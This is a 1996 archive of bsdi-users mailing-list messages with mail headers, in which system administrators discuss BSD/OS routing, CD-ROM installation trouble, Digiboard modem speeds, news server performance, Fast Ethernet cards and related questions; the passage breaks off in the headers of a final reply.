owner-bsdi-users@lists.gateway.com To: Sam Brown Cc: Armando Escalante , bsdi-users@BSDI.COM Subject: Re: Poor's man Dual Homming?? Date: Tue, 26 Nov 1996 00:48:20 -0500 At 10:10 PM -0500 11/25/96, Sam Brown wrote: >I am not sure how the bsdi box would do dual default routes, i'd like to >hear if someone has a solution, or if gated handles this in the same >manner. I can tell you the 25xx boxes can not do per packet load balancing >because the cpu is not powerful enough. I'm fairly sure that the BSD/OS forwarder won't do any kind of multipath load balancing. (Of course, if you have a source license, just hack it in, small matter of programming. ;-) GateD will install multiple routes to the same destination if appropriate, but it relies on the OS to provide the forwarder so it doesn't address the problem at hand. BTW, per packet load balancing is probably not what you want under most circumstances. You're rather likely to get out-of-order packets if you do per-packet, and many (most?) TCPs degrade rather ungracefully when presented with out-of-order packets. --John -- John Scudder email: jgs@ieng.com Internet Engineering Group, LLC phone: (313) 669-8800 122 S. Main, Suite 280 fax: (313) 669-8661 Ann Arbor, MI 48104 www: http://www.ieng.com From VM Tue Nov 26 22:54:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2075" "Tue" "26" "November" "1996" "00:45:05" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "55" "Re: Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA17058 for ; Tue, 26 Nov 1996 01:01:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA14629 for bsdi-users-outgoing; Tue, 26 Nov 1996 01:02:55 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs In-Reply-To: <3.0.1.32.19961125164545.00a0559c@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM, support@BSDI.COM Subject: Re: Installing BSD/OS from panasonic CDROM Date: Tue, 26 Nov 1996 00:45:05 -0500 (EST) Impossible, the screen cycles too fast, and I can't get enough time to write everything down. Anyhow, I GOT A MITSUMI 4X CDROM off of a friend! :) modem number CRMC-FX410A. IDE Interface (ATAPI). I have tried EVERYTHING! but it will not get recognized. In DOS it loads at CDROM on port 0x1f0 irq 14 (Primary IDE Interface) No conflicts with the Hard Drive, NOTHING. FINE.. What the heck is so different about it detecting in BSD?! I have tried on the Primary IDE Interface, tried jumpering it to Master, Slave AND CSEL. I have also tried it on the Secondary IDE Interface, and ALSO tried jumpering it to Master, Slave, and CSEL. I have your previous email printed out about what to look for. ie: wdpi0 and sr0, NOTHING!! ARGH!! NOTHING COMES UP!! Damn, I'm getting so agrivated, I can't stand it. What do I have to do to change the configuration on bootup?! I interupt the boot, get the boot: prompt, I have tried all configs: -dev sr0 port=0x1f0 irq=14 (also tried 0x170 irq 15) and I have tried the same configuration with doing a -dev on mcd0 aswell. Nothing.. This may be something, I'm not sure how to resume the bootup, so after I get to the boot: prompt again, after makeing the configuration changes, I just type in /boot, and that starts the boot over, but it also does the memory check again, so I am thiking that whatever changes I made to the kernel got erased because the memory got wiped. Any suggestions as to how to go about this properly?! Argh!! Signed, agrivated in Ontario :) > How hard would it be for you to get the output from your boot into > an email message so that I can see it? > > Are you on the primary IDE, or the secondary? It sounds like you are > on the secondary. Do you have the CD setup as primary or slave? > > -Kent- > Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Tue Nov 26 22:54:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1153" "Tue" "26" "November" "1996" "00:53:36" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "44" "Re: digiboard port setup and modem connect speeds" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA17063 for ; Tue, 26 Nov 1996 01:02:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA14635 for bsdi-users-outgoing; Tue, 26 Nov 1996 01:03:50 -0500 (EST) In-Reply-To: <199611251940.LAA06024@icebox.iceonline.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: "Y.F.SysAdmin" cc: Roch Pageau , bsdi-users@BSDI.COM Subject: Re: digiboard port setup and modem connect speeds Date: Tue, 26 Nov 1996 00:53:36 -0500 (EST) On Mon, 25 Nov 1996, Y.F.SysAdmin wrote: > > > > I have BSDI 2.1 and two digi 16em daisy chained together for 28.8 practical > > modems. > > > > We use 112 digi channels. According to digi tech support you cant do better > than 57600 if you have > 32 channels. Really! > > 115200 will only work for 16 channels ( ie 1 "bread basket" ) > So : > > channels DTE (MAX) > > 16 115200 > 32 57600 > 33+ 38400 > > Anyone want to buy our digis ? : > > > -g > > > Questions: > > > > 3) We are also getting connected at 26400 more often than 28800 now that we > > have switched to a T1 instead of regular analog lines. The performance does > > not seem to be any different but customer perception is sure to be a > > problem. Anything I can do here? > > > > 4) I also have been testing with two USR 33600 sportsters and can never get > > connected at 33600, is anyone seeing this or am I asking for the impossible? > > > > I have heard this is due to a bottleneck in the phone companies switch. I dont know if this is true or not. I have also noticed that the further my clients are away from me, the connection speed also lowers. brian From VM Tue Nov 26 22:54:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1017" "Tue" "26" "November" "1996" "09:41:22" "+0100" "James A. Brister" "brister@vix.com" nil "21" "Re: INN misc. (was Re: Inn: articles no longer in history file) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA24627 for ; Tue, 26 Nov 1996 04:45:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id EAA16525 for bsdi-users-outgoing; Tue, 26 Nov 1996 04:40:07 -0500 (EST) Message-Id: <199611260841.JAA16914@velo.pp.vix.com> In-Reply-To: Your message of "Tue, 26 Nov 1996 02:15:42 +0100 (MET) " <199611260115.CAA22108@emma.isdnet.net> Organization: Internet Software Consortium Precedence: bulk From: brister@vix.com (James A. Brister) Sender: owner-bsdi-users@lists.gateway.com To: david@isdnet.net Cc: blast@broder.com, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Tue, 26 Nov 1996 09:41:22 +0100 On Tue, 26 Nov 1996 02:15:42 +0100 (MET), david@isdnet.net said: > I was almost happy with it, until I discovered that my main news server seems > unable to feed at full speed and easily my news server 2, over Ethernet. > (both are 128MB memory, 2940UW SCSI, 2Gb for history, 4GB for alt.binaries, > 4GB for all other groups). Ethernet is almost never the problem. The only time it has been is in certain Solaris machines that have ethernet driver bugs. 9 times out of 10 disk I/O is the bottle neck. RAM is second ('cause a lack of it impacts on paging and swappin). How many hard disks do you have and what things (swap, articles, history, overview) are on them? You really want to have one set of disks just for articles, another just for overview and another for history and active. Partitioning a big disk is not the answer -- you want separate spindles. James -- James Brister brister@vix.com Internet Software Consortium inn@isc.org From VM Tue Nov 26 22:54:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["655" "Tue" "26" "November" "1996" "10:20:34" "+0000" "Neil J. McRae" "neil@domino.org" nil "22" "Re: Poor's man Dual Homming?? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA26232 for ; Tue, 26 Nov 1996 05:39:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id FAA16574 for bsdi-users-outgoing; Tue, 26 Nov 1996 05:25:38 -0500 (EST) Message-Id: <199611261020.KAA10647@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Mon, 25 Nov 1996 17:54:00 PST." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: randy@psg.com (Randy Bush) cc: Armando Escalante , BSDI users list , neil@domino.org Subject: Re: Poor's man Dual Homming?? Date: Tue, 26 Nov 1996 10:20:34 +0000 On Mon, 25 Nov 96 17:54 PST randy@psg.com (Randy Bush) wrote: > > Does any one know or care to comment on having one route for ALL incomming > > traffic and A DIFFERENT one for ALL OUTgoing traffic? > > You can't do this with BSDI! > Why not? You could do it with gated like this: default route sends all packets out on interface ntwo0 whilst gated announces all your routes via ntwo0. its a no brainer. Regards, Neil. -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Tue Nov 26 22:54:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["297" "Tue" "26" "November" "1996" "05:41:44" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "12" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA26249 for ; Tue, 26 Nov 1996 05:47:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id FAA16619 for bsdi-users-outgoing; Tue, 26 Nov 1996 05:47:21 -0500 (EST) Message-Id: <199611261042.FAA12027@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host loopback.mci.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of 25 Nov 1996 13:13:56 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: jason@mastaler.com (Jason R. Mastaler) cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Tue, 26 Nov 1996 05:41:44 -0500 In message you write: >"Jacob M. Parnas" writes: > >> I heard that in 1997 gcc will be optimized for the Pentium and Pentium Pro. > >This is already available through PGCC - http://www.goof.com/pcg/ Thanks, I'm getting it now. Jacob From VM Tue Nov 26 22:54:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["809" "Tue" "26" "November" "1996" "05:54:08" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "26" "RE: Search Engine for Web Development?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA27600 for ; Tue, 26 Nov 1996 06:33:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA16697 for bsdi-users-outgoing; Tue, 26 Nov 1996 06:32:48 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: System Administration Cc: bsdi-users@BSDI.COM Subject: RE: Search Engine for Web Development? Date: Tue, 26 Nov 1996 05:54:08 -0500 (EST) I think glimpseHTML is what you are looking for. On 25-Nov-96 System Administration wrote: >>Hi, all. I know I've seen this on the list, but can't find it in the >archive. > >Recommendations, please, for a search engine for BSDI 2.0 that can be >used for word searches of databases under web sites? NCSA server, if it >makes a difference. > >Thanks!! > >Glenn. >+--------------------------------------------------------------+ >| System Administration InfoComm Network Services, Inc. | >| sysadmin@infocomm.net (410) 296-5005 (f) (410) 821-1376 | >+--------------------------------------------------------------+ ---------------------------------- E-Mail: Joe Hohertz Date: 11/26/96 Time: 05:54:08 This message was sent by XF-Mail ---------------------------------- From VM Tue Nov 26 22:54:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["477" "Tue" "26" "November" "1996" "05:57:04" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "18" "100BaseTX Fast Ethernet On BSDI 2.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA27605 for ; Tue, 26 Nov 1996 06:35:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA16684 for bsdi-users-outgoing; Tue, 26 Nov 1996 06:27:55 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Tue, 26 Nov 1996 05:57:04 -0500 (EST) Simply put, can it be done? We want to migrate our network to 100BaseTX sometime in the near future, an d we have a mixture of BSDI 2.0, and 2.1 systems. I know that 2.1 supports sever al fast ether cards, but my manual for 2.0 lists none? Anyone been able to do this? With what hardware and how? ---------------------------------- E-Mail: Joe Hohertz Date: 11/26/96 Time: 05:57:04 This message was sent by XF-Mail ---------------------------------- From VM Tue Nov 26 22:54:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["534" "Tue" "26" "November" "1996" "14:11:08" "+0800" "rowell@mnl.cyb-live.com" "rowell@mnl.cyb-live.com" nil "17" "WWW interface for poppassd" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA29769 for ; Tue, 26 Nov 1996 07:55:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id HAA16773 for bsdi-users-outgoing; Tue, 26 Nov 1996 07:50:22 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: rowell@mnl.cyb-live.com Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: WWW interface for poppassd Date: Tue, 26 Nov 1996 14:11:08 +0800 (PST) Greetings, I'm using poppassd for for changing users password through Eudora, and it works fine. However,others don't use Eudora. Netscape users wants to use their browser instead. I have found an WWW interface for poppassd but having some problem in making it works ( changing it, to suit our setup). Do you guys already have the interface ( with a generic configuration )? I don't want to reinvent the wheel. Btw, I found the WWW interface in this website "www.icinet.net/support/isp/" TIA Rowell Delgado System Admin From VM Tue Nov 26 22:54:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["848" "Tue" "26" "November" "1996" "13:16:47" "+0000" "Neil J. McRae" "neil@domino.org" nil "26" "Re: 100BaseTX Fast Ethernet On BSDI 2.0 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA00453 for ; Tue, 26 Nov 1996 08:18:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA16865 for bsdi-users-outgoing; Tue, 26 Nov 1996 08:21:32 -0500 (EST) Message-Id: <199611261316.NAA12089@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Tue, 26 Nov 1996 05:57:04 EST." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Joe Hohertz cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re: 100BaseTX Fast Ethernet On BSDI 2.0 Date: Tue, 26 Nov 1996 13:16:47 +0000 On Tue, 26 Nov 1996 05:57:04 -0500 (EST) Joe Hohertz wrote: > Simply put, can it be done? > > We want to migrate our network to 100BaseTX sometime in the near future, an > d we > have a mixture of BSDI 2.0, and 2.1 systems. I know that 2.1 supports sever > al > fast ether cards, but my manual for 2.0 lists none? > > Anyone been able to do this? With what hardware and how? > Firstly why you want to use 100TX is questionable, but the SMC 10/100 Etherpower works fine. I'll bet lots and lots of pounds that 90% of the people on this list are running 100TX, when they don't need too. Neil. -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Tue Nov 26 22:54:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["964" "Tue" "26" "November" "1996" "08:20:16" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "24" "PINE/MIME on BSD/OS ?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA00457 for ; Tue, 26 Nov 1996 08:21:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA16857 for bsdi-users-outgoing; Tue, 26 Nov 1996 08:20:40 -0500 (EST) Reply-To: Jay Vassos-Libove Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: PINE/MIME on BSD/OS ? Date: Tue, 26 Nov 1996 08:20:16 -0500 (EST) This is semi-BSD/OS related. Using PINE (3.95), on BSD/OS v2.1, what is the best way to set up a generalized MIME handling environment, and specifically automatic MIME handling in PINE? I have metamail 2.7 installed, and have found that it is very heavy weight in its default configuration (it likes to start up Xterms for everything), and that PINE doesn't seem to like to use it anyway (That is, it seems to completely ignore the presence of ~/.mailcap, /etc/mailcap, /usr/local/etc/mailcap as I have configured in PINE). What I really want is a trivial set up which says "if you don't know how to display it, then just run it through the usual viewer pager", since many attachments (such as PGP) are really just encapsulations of readable text. Thanks - Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Tue Nov 26 22:54:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["196" "Tue" "26" "November" "1996" "09:08:45" "-0500" "Marius Kirschner" "marius@tao.agoron.com" nil "6" "xferlog analyzer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02105 for ; Tue, 26 Nov 1996 09:15:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA16937 for bsdi-users-outgoing; Tue, 26 Nov 1996 09:09:04 -0500 (EST) Message-ID: <329AF9ED.3941@tao.agoron.com> X-Mailer: Mozilla 3.01Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Marius Kirschner Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: xferlog analyzer Date: Tue, 26 Nov 1996 09:08:45 -0500 Hi guys, is there a tool out there that will analyze the xferlog file according to what files are being downloaded? I've searched the net but came up empty-handed sofar. Thanks, ---Marius From VM Tue Nov 26 22:54:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2364" "Tue" "26" "November" "1996" "09:25:01" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "76" "Re: digiboard port setup and modem connect speeds" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02110 for ; Tue, 26 Nov 1996 09:16:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA16974 for bsdi-users-outgoing; Tue, 26 Nov 1996 09:21:10 -0500 (EST) In-Reply-To: <199611251940.LAA06024@icebox.iceonline.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: "Y.F.SysAdmin" cc: Roch Pageau , bsdi-users@BSDI.COM Subject: Re: digiboard port setup and modem connect speeds Date: Tue, 26 Nov 1996 09:25:01 -0500 (EST) I am running just 24 (16+8, 2 modules) digi channels right now, and have the configuration set for 57600. Are you telling me that once I gove over 32 modems, I have to set them to pick up at 38400 and that's all the baud rate I am going to get? Would it be possible to install another internal card and start a new chain in order to keep up the throughput? On Mon, 25 Nov 1996, Y.F.SysAdmin wrote: > > > > I have BSDI 2.1 and two digi 16em daisy chained together for 28.8 practical > > modems. > > > > We use 112 digi channels. According to digi tech support you cant do better > than 57600 if you have > 32 channels. Really! > > 115200 will only work for 16 channels ( ie 1 "bread basket" ) > So : > > channels DTE (MAX) > > 16 115200 > 32 57600 > 33+ 38400 > > Anyone want to buy our digis ? : > > > -g > > > Questions: > > > > 1) Is the 57600 the best settting for the fastest, most stable performance ? > > > > 2) Could I go to 115200 and would it be better or the other way to 38400, > > what the difference?? > > > > (At the moment they are all set up the same in ttys and remote???) > > ttyA00 "/usr/libexec/getty t57600-hf" dialup on > > ttyA01 "/usr/libexec/getty t57600-hf" dialup on > > ttyA02 "/usr/libexec/getty t57600-hf" dialup on > > ttyA03 "/usr/libexec/getty t57600-hf" dialup on > > ttyA04 "/usr/libexec/getty t57600-hf" dialup on > > ttyA05 "/usr/libexec/getty t57600-hf" dialup on > > ttyA06 "/usr/libexec/getty t57600-hf" dialup on > > > > ttyA00:dv=/dev/ttyA00:br#57600: > > ttyA01:dv=/dev/ttyA01:br#57600: > > ttyA02:dv=/dev/ttyA02:br#57600: > > ttyA03:dv=/dev/ttyA03:br#57600: > > ttyA04:dv=/dev/ttyA04:br#57600: > > ttyA05:dv=/dev/ttyA05:br#57600: > > ttyA06:dv=/dev/ttyA06:br#57600: > > ttyA07:dv=/dev/ttyA07:br#57600: > > ttyA08:dv=/dev/ttyA08:br#57600: > > > > Any others suggestions appreciated. > > > > 3) We are also getting connected at 26400 more often than 28800 now that we > > have switched to a T1 instead of regular analog lines. The performance does > > not seem to be any different but customer perception is sure to be a > > problem. Anything I can do here? > > > > 4) I also have been testing with two USR 33600 sportsters and can never get > > connected at 33600, is anyone seeing this or am I asking for the impossible? > > > > > > Thanks > > > > Roch > > > > > > From VM Tue Nov 26 22:54:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["409" "Tue" "26" "November" "1996" "09:19:26" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "14" "Re: Search Engine for Web Development? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02116 for ; Tue, 26 Nov 1996 09:17:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA16966 for bsdi-users-outgoing; Tue, 26 Nov 1996 09:20:23 -0500 (EST) Message-Id: <199611261419.JAA12984@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of 26 Nov 1996 00:00:02 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: jason@mastaler.com (Jason R. Mastaler) cc: sysadmin@ns1.infocomm.net, bsdi-users@BSDI.COM Subject: Re: Search Engine for Web Development? Date: Tue, 26 Nov 1996 09:19:26 -0500 In message you write: >I highly recommend Excite for Web Servers (EWS). Version 1.0 of the >software is available now for BSD/OS with version 1.1 avilable at the >end of this month. > >http://www.excite.com/navigate/home.html > Thanks. Right now I have to use my ISP shell account (I'm not connected all the time), but that may change). If so, I'll get this. Thanks, Jacob From VM Tue Nov 26 22:54:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1100" "" "26" "November" "1996" "14:23:05" "UTC" "Jason Lixfeld" "carrera@idirect.com" nil "35" "Upgrading to BSD/OS v2.1 or later" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02114 for ; Tue, 26 Nov 1996 09:17:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA16982 for bsdi-users-outgoing; Tue, 26 Nov 1996 09:23:25 -0500 (EST) Message-Id: <199611261423.JAA18623@news3.idirect.com> Content-Type: TEXT/PLAIN; charset=US-ASCII MIME-Version: 1.0 X-Newsmaster: Laszlo Herczeg (las@idirect.com) X-Client-Port: 4417 X-Nntp-Posting-Host: hometown.idirect.com Precedence: bulk From: carrera@idirect.com (Jason Lixfeld) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@rutgers.edu Subject: Upgrading to BSD/OS v2.1 or later Date: 26 Nov 96 14:23:05 UTC I have the source CD for BSD/OS v2.0. My CDROM Drive is not supported in that version, I understand from a very helpful person at support@BSDI.COM that my CDROM type IS supported in BSD/OS 2.1 and later. I need to know aht I have to do to upgrade my current version to a later version, prefferable the latest version available. I have NO BSD/OS on my computer. This is all in the installation phase, please keep that in mind! :) Pretend that I am installing BSD/OS on a blank Disk with a Mitsumi IDE CRMC-FX410A CDROM Drive (which is what I am doing). Support@BSDI.com told me after much trying and failure that 2.0 did not support my model drive.. Any help, would be GREATLY appreciated, as I have been working on this for almost 4 days, and haven't even got my drive partitioned yet! :( laugh.. Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Tue Nov 26 22:55:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["254" "Tue" "26" "November" "1996" "09:36:30" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "9" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02690 for ; Tue, 26 Nov 1996 09:38:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA17002 for bsdi-users-outgoing; Tue, 26 Nov 1996 09:36:46 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Helen Birkmann cc: Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 09:36:30 -0500 (EST) > Now since I have put my virtual host list at the bottom of the > netstart file and they all come up after reboot. I put all virtual host configs into /etc/rc.local. Does anyone have any insight into whether one way is better than the other. Ralph From VM Tue Nov 26 22:55:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["488" "Tue" "26" "November" "1996" "10:39:00" "-0600" "Scott Stennes" "sstennes@perigee.com" nil "15" "multiple network addresses on single interface" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02694 for ; Tue, 26 Nov 1996 09:41:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA17015 for bsdi-users-outgoing; Tue, 26 Nov 1996 09:43:29 -0500 (EST) Message-Id: <96Nov26.084441cst.26499@gateway.perigee.com> X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Stennes, Scott" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users Subject: multiple network addresses on single interface Date: Tue, 26 Nov 1996 10:39:00 -0600 For any number of reasons, I need to have more than one address on an ethernet port. The sticking point is that the addresses must be on different subnets. I have tried playing around with ifconfig alias etc. and have managed to get to the point where I can ping both addresses (probably because a netstat -nr shows that the aliased address uses 1127.0.0.1 (lo0) not LINK#1 (de0) as I would expect). Can someone please help? Thank you in advance. Scott H. Stennes From VM Tue Nov 26 22:55:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1384" "Tue" "26" "November" "1996" "10:33:50" "-0500" "Sam Brown" "root@ns2.clever.net" nil "39" "Re: 100BaseTX Fast Ethernet On BSDI 2.0 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA04622 for ; Tue, 26 Nov 1996 10:52:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA17129 for bsdi-users-outgoing; Tue, 26 Nov 1996 10:38:16 -0500 (EST) In-Reply-To: <199611261316.NAA12089@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" cc: Joe Hohertz , bsdi-users@BSDI.COM 